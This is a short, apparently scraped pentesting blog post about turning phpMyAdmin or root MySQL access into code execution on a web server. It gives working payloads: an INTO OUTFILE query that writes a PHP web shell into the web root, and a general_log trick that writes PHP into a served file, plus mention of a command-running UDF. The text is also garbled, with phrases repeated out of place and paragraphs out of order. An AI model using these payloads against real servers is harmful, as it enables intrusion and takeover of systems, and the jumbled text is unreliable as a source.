Phpmyadmin Hacktricks -

For a sysadmin, it’s a tool. For a pentester, it is often the endgame .

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php"; Boom. You now have a web shell. phpmyadmin hacktricks

We compile a MySQL extension (UDF) that runs OS commands. For a sysadmin, it’s a tool

Published by: Security Tinkerer Reading time: 6 minutes You now have a web shell

If you have FILE privileges or root access to MySQL, you can force the server to write PHP code into its own error log, then include that log via a Local File Inclusion (LFI).

SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/hack.php'; SELECT '<?php phpinfo(); ?>'; Now, visiting http://target.com/hack.php executes your code. This is loud but extremely effective. You have root MySQL access, but you are a low-privilege OS user. How do we escalate?